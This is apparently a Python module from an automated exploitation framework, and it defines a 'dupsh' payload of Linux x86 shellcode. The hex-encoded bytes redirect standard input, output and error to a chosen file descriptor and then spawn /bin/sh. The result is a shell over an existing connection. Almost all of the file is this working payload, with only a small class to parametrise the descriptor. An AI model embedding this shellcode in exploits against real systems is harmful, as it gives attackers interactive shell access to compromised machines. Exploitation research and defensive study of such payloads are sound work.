
import binascii

from ..shellcode import Shellcode


class LinuxX86Dupsh(Shellcode):
    # TODO: should be 'linux' once CLE can identify linux files
    os = ["unix"]
    arches = ["X86"]
    name = "dupsh"
    code = (binascii.unhexlify("31d2b2") +
            b"%c" +
            binascii.unhexlify("89d36a0359496a3f58cd8075f831d26a68682f2f2f73682f62696e89e368010101018134247269010131c9516a045901e15189e131d26a0b58cd80")
            )

    def __init__(self, fd):
        # TODO: figure out what do to with this list
        self.fd = fd[0]

        if self.fd < 0 or self.fd >= 256:
            raise ValueError("invalid fd specified")

    def raw(self, arch=None):
        return self.code % self.fd
